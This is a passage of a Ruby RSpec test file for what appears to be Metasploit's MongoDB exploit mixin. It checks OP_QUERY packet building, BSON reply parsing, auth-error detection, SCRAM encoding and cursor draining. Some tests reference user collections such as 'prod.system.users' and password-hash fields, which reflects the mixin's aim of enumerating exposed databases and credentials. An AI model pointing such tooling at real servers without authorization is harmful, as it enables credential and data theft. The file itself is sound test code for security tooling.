1 }.to_bson.to_s } + let(:packet) { subject.mongodb_build_packet('admin.$cmd', bson_payload) } + + it 'sets messageLength to the total size of the packet' do + expect(packet[0, 4].unpack1('V')).to eq(packet.length) + expect(packet.length).to eq(16 + 4 + 'admin.$cmd'.length + 1 + 4 + 4 + bson_payload.length) + end + + it 'sets opCode to 2004 (OP_QUERY)' do + expect(packet[12, 4].unpack1('V')).to eq(2004) + end + + it 'sets responseTo to zero' do + expect(packet[8, 4].unpack1('V')).to eq(0) + end + + it 'sets the query flags to zero' do + expect(packet[16, 4].unpack1('V')).to eq(0) + end + + it 'encodes the collection name null-terminated' do + expect(packet[20, 11]).to eq("admin.$cmd\x00".b) + end + + it 'sets numberToSkip to zero' do + expect(packet[31, 4].unpack1('V')).to eq(0) + end + + it 'appends the BSON payload verbatim' do + expect(packet[-bson_payload.length..]).to eq(bson_payload) + end + + it 'uses a randomized 4-byte requestID' do + other = subject.mongodb_build_packet('admin.$cmd', bson_payload) + + expect(packet[4, 4]).not_to eq(other[4, 4]) + end + + context 'with the default number_to_return' do + it 'sets numberToReturn to 1' do + expect(packet[35, 4].unpack1('V')).to eq(1) + end + end + + context 'with number_to_return: -1 (negative values)' do + let(:coll) { 'prod.system.users' } + let(:packet) { subject.mongodb_build_packet(coll, bson_payload, number_to_return: -1) } + let(:number_to_return_offset) { 16 + 4 + coll.length + 1 + 4 } + + it 'encodes -1 as 0xffffffff' do + expect(packet[number_to_return_offset, 4]).to eq("\xff\xff\xff\xff".b) + end + + it 'accounts for the longer collection name in messageLength' do + expect(packet[0, 4].unpack1('V')).to eq(packet.length) + end + end + + context 'with number_to_return: 0 (server default batch size)' do + let(:coll) { 'prod.system.users' } + let(:packet) { subject.mongodb_build_packet(coll, bson_payload, number_to_return: 0) } + let(:number_to_return_offset) { 16 + 4 + coll.length + 1 + 4 } + + it 'encodes 0 as 0x00000000' do + expect(packet[number_to_return_offset, 4]).to eq("\x00\x00\x00\x00".b) + end + end + end + + describe '#mongodb_parse_doc' do + it 'returns nil for a nil response' do + expect(subject.mongodb_parse_doc(nil)).to be_nil + end + + it 'returns nil when the response is only the 36-byte OP_REPLY header' do + expect(subject.mongodb_parse_doc(op_reply_header(0, 0))).to be_nil + end + + it 'returns nil when the response is shorter than the OP_REPLY header' do + expect(subject.mongodb_parse_doc('x' * 36)).to be_nil + end + + it 'parses the BSON document following the OP_REPLY header' do + response = op_reply({ ismaster: 1, msg: 'isdbgrid', maxWireVersion: 17 }) + + expect(subject.mongodb_parse_doc(response)).to eq('ismaster' => 1, 'msg' => 'isdbgrid', 'maxWireVersion' => 17) + end + + it 'returns a BSON::Document' do + response = op_reply({ ok: 1 }) + + expect(subject.mongodb_parse_doc(response)).to be_a(BSON::Document) + end + + it 'returns only the first document when several are present' do + response = op_reply({ ok: 1 }, { ok: 0 }) + + expect(subject.mongodb_parse_doc(response)).to eq('ok' => 1) + end + + it 'returns nil for a body that is not valid BSON' do + response = op_reply_header(16, 1) + 'not really bson' + + expect(subject.mongodb_parse_doc(response)).to be_nil + end + + it 'does not raise on truncated BSON documents' do + doc = { ismaster: 1 }.to_bson.to_s + response = op_reply_header(doc.length, 1) + doc[0..-3] + + expect(subject.mongodb_parse_doc(response)).to be_nil + end + end + + describe '#mongodb_parse_docs' do + it 'returns an empty array for a nil response' do + expect(subject.mongodb_parse_docs(nil)).to eq([]) + end + + it 'returns an empty array for a header-only response' do + expect(subject.mongodb_parse_docs(op_reply_header(0, 0))).to eq([]) + end + + it 'parses a single document' do + response = op_reply({ ok: 1 }) + + expect(subject.mongodb_parse_docs(response)).to eq([{ 'ok' => 1 }]) + end + + it 'parses every document in order' do + response = op_reply({ user: 'admin', uid: 1 }, { user: 'root', uid: 2 }) + + expect(subject.mongodb_parse_docs(response)).to eq( + [ + { 'user' => 'admin', 'uid' => 1 }, + { 'user' => 'root', 'uid' => 2 } + ] + ) + end + + it 'ignores trailing bytes shorter than a BSON length prefix' do + response = op_reply({ ok: 1 }) + "\x01\x02\x03".b + + expect(subject.mongodb_parse_docs(response)).to eq([{ 'ok' => 1 }]) + end + + it 'stops at a truncated trailing document and keeps the complete ones' do + first = { ok: 1 }.to_bson.to_s + second = { ok: 0 }.to_bson.to_s + response = op_reply_header(first.length + second.length, 2) + first + second[0..-3] + + expect(subject.mongodb_parse_docs(response)).to eq([{ 'ok' => 1 }]) + end + + it 'stops at a zero-length document prefix' do + response = op_reply_header(4, 1) + "\x00\x00\x00\x00".b + + expect(subject.mongodb_parse_docs(response)).to eq([]) + end + + it 'returns an empty array when the body is not valid BSON' do + response = op_reply_header(16, 1) + 'garbage bytes here' + + expect(subject.mongodb_parse_docs(response)).to eq([]) + end + end + + describe '#mongodb_parse_scram_payload' do + it 'parses key=value pairs' do + payload = 'r=fyko+d2lbbFgONRv9qkxdawL3hfFkdP,s=rQ9ZWCKckeiQTRm6ui5hVA,i=4096' + + expect(subject.mongodb_parse_scram_payload(payload)).to eq( + 'r' => 'fyko+d2lbbFgONRv9qkxdawL3hfFkdP', + 's' => 'rQ9ZWCKckeiQTRm6ui5hVA', + 'i' => '4096' + ) + end + + it 'keeps base64 padding inside values' do + payload = 's=rQ9ZWCKckeiQTRm6ui5hVA==' + + expect(subject.mongodb_parse_scram_payload(payload)).to eq('s' => 'rQ9ZWCKckeiQTRm6ui5hVA==') + end + + it 'keeps only the first = as the separator' do + expect(subject.mongodb_parse_scram_payload('data=a=b')).to eq('data' => 'a=b') + end + + it 'keeps integer-looking values as strings' do + expect(subject.mongodb_parse_scram_payload('i=10000')).to eq('i' => '10000') + end + + it 'drops entries without a separator' do + expect(subject.mongodb_parse_scram_payload('r=abc,garbage,i=1')).to eq('r' => 'abc', 'i' => '1') + end + + it 'keeps entries with an empty value' do + expect(subject.mongodb_parse_scram_payload('r=')).to eq('r' => '') + end + + it 'returns an empty hash for an empty payload' do + expect(subject.mongodb_parse_scram_payload('')).to eq({}) + end + end +end + +RSpec.describe Msf::Exploit::Remote::Mongodb do + include_context 'Msf::Simple::Framework' + include MongodbSpecHelpers + + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + mod + end + + before(:each) do + allow(subject).to receive(:framework).and_return(framework) + allow(subject).to receive(:vprint_status) + allow(subject).to receive(:vprint_error) + end + + describe '#mongodb_have_auth_error?' do + it 'treats a nil response as an auth error' do + expect(subject.mongodb_have_auth_error?(nil)).to be true + end + + it 'treats a response shorter than the OP_REPLY header as an auth error' do + expect(subject.mongodb_have_auth_error?('x' * 36)).to be true + end + + it 'is true when the document reports error code 13 (Unauthorized)' do + response = op_reply({ ok: 0, errmsg: 'command listDatabases requires authentication', code: 13, codeName: 'Unauthorized' }) + + expect(subject.mongodb_have_auth_error?(response)).to be true + end + + it 'is true when the document reports error code 18 (AuthenticationFailed)' do + response = op_reply({ ok: 0, errmsg: 'auth failed', code: 18, codeName: 'AuthenticationFailed' }) + + expect(subject.mongodb_have_auth_error?(response)).to be true + end + + it 'is true when the document carries an auth-related errmsg' do + response = op_reply({ ok: 0.0, errmsg: 'not authorized on admin to execute command' }) + + expect(subject.mongodb_have_auth_error?(response)).to be true + end + + it 'is true when only the codeName marks the failure' do + response = op_reply({ ok: 0, codeName: 'Unauthorized' }) + + expect(subject.mongodb_have_auth_error?(response)).to be true + end + + it 'is false for an ok: 0 failure that is not auth related' do + response = op_reply({ ok: 0, errmsg: "no such cmd: 'foo'", code: 59, codeName: 'CommandNotFound' }) + + expect(subject.mongodb_have_auth_error?(response)).to be false + end + + it 'is false for an ok: 0 document without an errmsg' do + response = op_reply({ ok: 0 }) + + expect(subject.mongodb_have_auth_error?(response)).to be false + end + + it 'is false for a successful document' do + response = op_reply({ ok: 1, databases: [1, 2] }) + + expect(subject.mongodb_have_auth_error?(response)).to be false + end + + context 'when the body does not parse as BSON' do + it 'is false when the raw body only mentions errmsg' do + response = op_reply_header(32, 1) + 'blah errmsg blah' + + expect(subject.mongodb_have_auth_error?(response)).to be false + end + + it 'is true when the raw body mentions unauthorized' do + response = op_reply_header(32, 1) + 'command unauthorized on foo' + + expect(subject.mongodb_have_auth_error?(response)).to be true + end + + it 'is true when the raw body mentions requires authentication' do + response = op_reply_header(32, 1) + 'this command requires authentication' + + expect(subject.mongodb_have_auth_error?(response)).to be true + end + + it 'is false for an unrelated body' do + response = op_reply_header(32, 1) + ('x' * 40) + + expect(subject.mongodb_have_auth_error?(response)).to be false + end + end + end + + describe '#mongodb_query_error' do + it 'returns nil for an empty result set' do + expect(subject.mongodb_query_error([])).to be_nil + end + + it 'returns nil for regular result documents' do + expect(subject.mongodb_query_error([{ 'user' => 'a', 'credentials' => {} }])).to be_nil + end + + it 'returns nil for legacy user documents that carry no ok field' do + expect(subject.mongodb_query_error([{ 'user' => 'a', 'pwd' => 'md5hash' }])).to be_nil + end + + it 'returns nil for successful command replies' do + expect(subject.mongodb_query_error([{ 'ok' => 1 }])).to be_nil + end + + it 'extracts $err from legacy OP_QUERY error replies' do + docs = [{ 'ok' => 0, 'code' => 13, '$err' => 'not authorized for query on intranet.system.users' }] + + expect(subject.mongodb_query_error(docs)).to eq('not authorized for query on intranet.system.users') + end + + it 'extracts errmsg from command error replies' do + docs = [{ 'ok' => 0, 'code' => 13, 'errmsg' => 'not authorized on admin to execute command' }] + + expect(subject.mongodb_query_error(docs)).to eq('not authorized on admin to execute command') + end + + it 'returns a fallback message for ok: 0 documents without error text' do + expect(subject.mongodb_query_error([{ 'ok' => 0, 'code' => 13 }])).to eq('command failed (code 13)') + end + end + + describe '#mongodb_encode_scram_username' do + it 'leaves simple usernames untouched' do + expect(subject.mongodb_encode_scram_username('admin')).to eq('admin') + end + + it 'escapes = as =3D per RFC 5802' do + expect(subject.mongodb_encode_scram_username('user=name')).to eq('user=3Dname') + end + + it 'escapes , as =2C per RFC 5802' do + expect(subject.mongodb_encode_scram_username('user,name')).to eq('user=2Cname') + end + + it 'escapes both characters in the same username' do + expect(subject.mongodb_encode_scram_username('a,b=c')).to eq('a=2Cb=3Dc') + end + + it 'returns nil for usernames containing a nul byte' do + expect(subject.mongodb_encode_scram_username("user\x00name")).to be_nil + end + end + + describe '#mongodb_parse_cursor_id' do + it 'returns 0 for a reply without a cursor' do + expect(subject.mongodb_parse_cursor_id(op_reply({ ok: 1 }))).to eq(0) + end + + it 'extracts the little-endian 64-bit cursor id' do + response = op_reply_header(0, 0, 0xdead_beef) + + expect(subject.mongodb_parse_cursor_id(response)).to eq(0xdead_beef) + end + + it 'extracts a cursor id that needs the full 64 bits' do + response = op_reply_header(0, 0, 0x7fff_ffff_ffff_ffff) + + expect(subject.mongodb_parse_cursor_id(response)).to eq(0x7fff_ffff_ffff_ffff) + end + + it 'returns 0 for nil or short responses' do + expect(subject.mongodb_parse_cursor_id(nil)).to eq(0) + expect(subject.mongodb_parse_cursor_id('x' * 20)).to eq(0) + end + end + + describe '#mongodb_read_message' do + let(:doc) { { ok: 1, msg: 'x' * 200 }.to_bson.to_s } + let(:message) { op_reply_header(doc.length, 1) + doc } + + it 'reassembles a reply split across multiple reads' do + sock = FakeSock.new([message], segment_size: 50) + + expect(subject.mongodb_read_message(sock, 5)).to eq(message) + end + + it 'returns a single-segment reply unchanged' do + sock = FakeSock.new([message]) + + expect(subject.mongodb_read_message(sock, 5)).to eq(message) + end + + it 'returns nil when the socket times out before the header arrives' do + sock = FakeSock.new([nil]) + + expect(subject.mongodb_read_message(sock, 5)).to be_nil + end + + it 'returns nil when the socket dies mid-message' do + sock = FakeSock.new([message[0, 10], nil]) + + expect(subject.mongodb_read_message(sock, 5)).to be_nil + end + + it 'returns nil for a declared length shorter than the header' do + sock = FakeSock.new([[8].pack('V') + message[4..]]) + + expect(subject.mongodb_read_message(sock, 5)).to be_nil + end + + it 'returns nil for an implausibly large declared length' do + sock = FakeSock.new([[0xffff_ffff].pack('V') + message[4, 12]]) + + expect(subject.mongodb_read_message(sock, 5)).to be_nil + end + end + + describe '#mongodb_query_all' do + let(:query) { BSON::Document.new({}).to_bson.to_s } + + # numberToReturn sits after the header, flags, null-terminated namespace, + # and numberToSkip. + def number_to_return_of(packet) + namespace, = parse_op_query(packet) + packet[25 + namespace.length, 4].unpack1('V') + end + + it 'drains an OP_REPLY cursor with getMore' do + body = { user: 'a' }.to_bson.to_s + { user: 'b' }.to_bson.to_s + first = op_reply_header(body.length, 2, 42) + body + second = op_reply({ cursor: { id: 0, ns: 'test.system.users', nextBatch: [{ user: 'c' }] }, ok: 1 }) + sock = FakeSock.new([first, second]) + + docs = subject.mongodb_query_all(sock, 'test.system.users', query) + + expect(docs).to eq([{ 'user' => 'a' }, { 'user' => 'b' }, { 'user' => 'c' }]) + expect(sock.sent.length).to eq(2) + expect(number_to_return_of(sock.sent[0])).to eq(0) + namespace, command = parse_op_query(sock.sent[1]) + expect(namespace).to eq('test.$cmd') + expect(command['collection']).to eq('system.users') + expect(command['getMore']).to eq(42) + end + + it 'forces numberToReturn to 1 on $cmd namespaces' do + # mongod rejects anything but 1 or -1 for command namespaces + # ("Bad numberToReturn (0) for $cmd type ns"). + first = op_reply({ ok: 1 }) + sock = FakeSock.new([first]) + + subject.mongodb_query_all(sock, 'admin.$cmd', query, number_to_return: 0) + + expect(number_to_return_of(sock.sent[0])).to eq(1) + end + + it 'follows command cursors (firstBatch plus nextBatch via getMore)' do + first = op_reply({ cursor: { id: 7, ns: 'admin.$cmd.listCollections', firstBatch: [{ name: 'coll1' }] }, ok: 1 }) + second = op_reply({ cursor: { id: 0, ns: 'admin.$cmd.listCollections', nextBatch: [{ name: 'coll2' }] }, ok: 1 }) + sock = FakeSock.new([first, second]) + + docs = subject.mongodb_query_all(sock, 'admin.$cmd', query) + + expect(docs).to eq([{ 'name' => 'coll1' }, { 'name' => 'coll2' }]) + namespace, command = parse_op_query(sock.sent[1]) + expect(namespace).to eq('admin.$cmd') + expect(command['collection']).to eq('$cmd.listCollections') + expect(command['getMore']).to eq(7) + end + + it 'keeps fetching until the command cursor reports id 0' do + first = op_reply({ cursor: { id: 1, ns: 'test.$cmd.listCollections', firstBatch: [{ name: 'a' }] }, ok: 1 }) + second = op_reply({ cursor: { id: 2, ns: 'test.$cmd.listCollections', nextBatch: [{ name: 'b' }] }, ok: 1 }) + third = op_reply({ cursor: { id: 0, ns: 'test.$cmd.listCollections', nextBatch: [{ name: 'c' }] }, ok: 1 }) + sock = FakeSock.new([first, second, third]) + + docs = subject.mongodb_query_all(sock, 'test.$cmd', query) + + expect(docs.map { |d| d['name'] }).to eq(%w[a b c]) + expect(sock.sent.length).to eq(3) + end + + it 'stops following a cursor when getMore fails' do + body = { user: 'a' }.to_bson.to_s + first = op_reply_header(body.length, 1, 42) + body + second = op_reply({ ok: 0, errmsg: 'cursor id 42 not found', code: 43 }) + sock = FakeSock.new([first, second]) + + expect(subject.mongodb_query_all(sock, 'test.system.users', query)).to eq([{ 'user' => 'a' }]) + end + + it 'returns the first batch untouched when the reply has no cursor' do + response = op_reply({ ok: 1, databases: [{ name: 'admin' }] }) + sock = FakeSock.new([response]) + + expect(subject.mongodb_query_all(sock, 'admin.$cmd', query)).to eq([{ 'ok' => 1, 'databases' => [{ 'name' => 'admin' }] }]) + expect(sock.sent.length).to eq(1) + end + + it 'returns [] when the reply never arrives' do + sock = FakeSock.new([nil]) + + expect(subject.mongodb_query_all(sock, 'test.system.users', query)).to eq([]) + end + end +end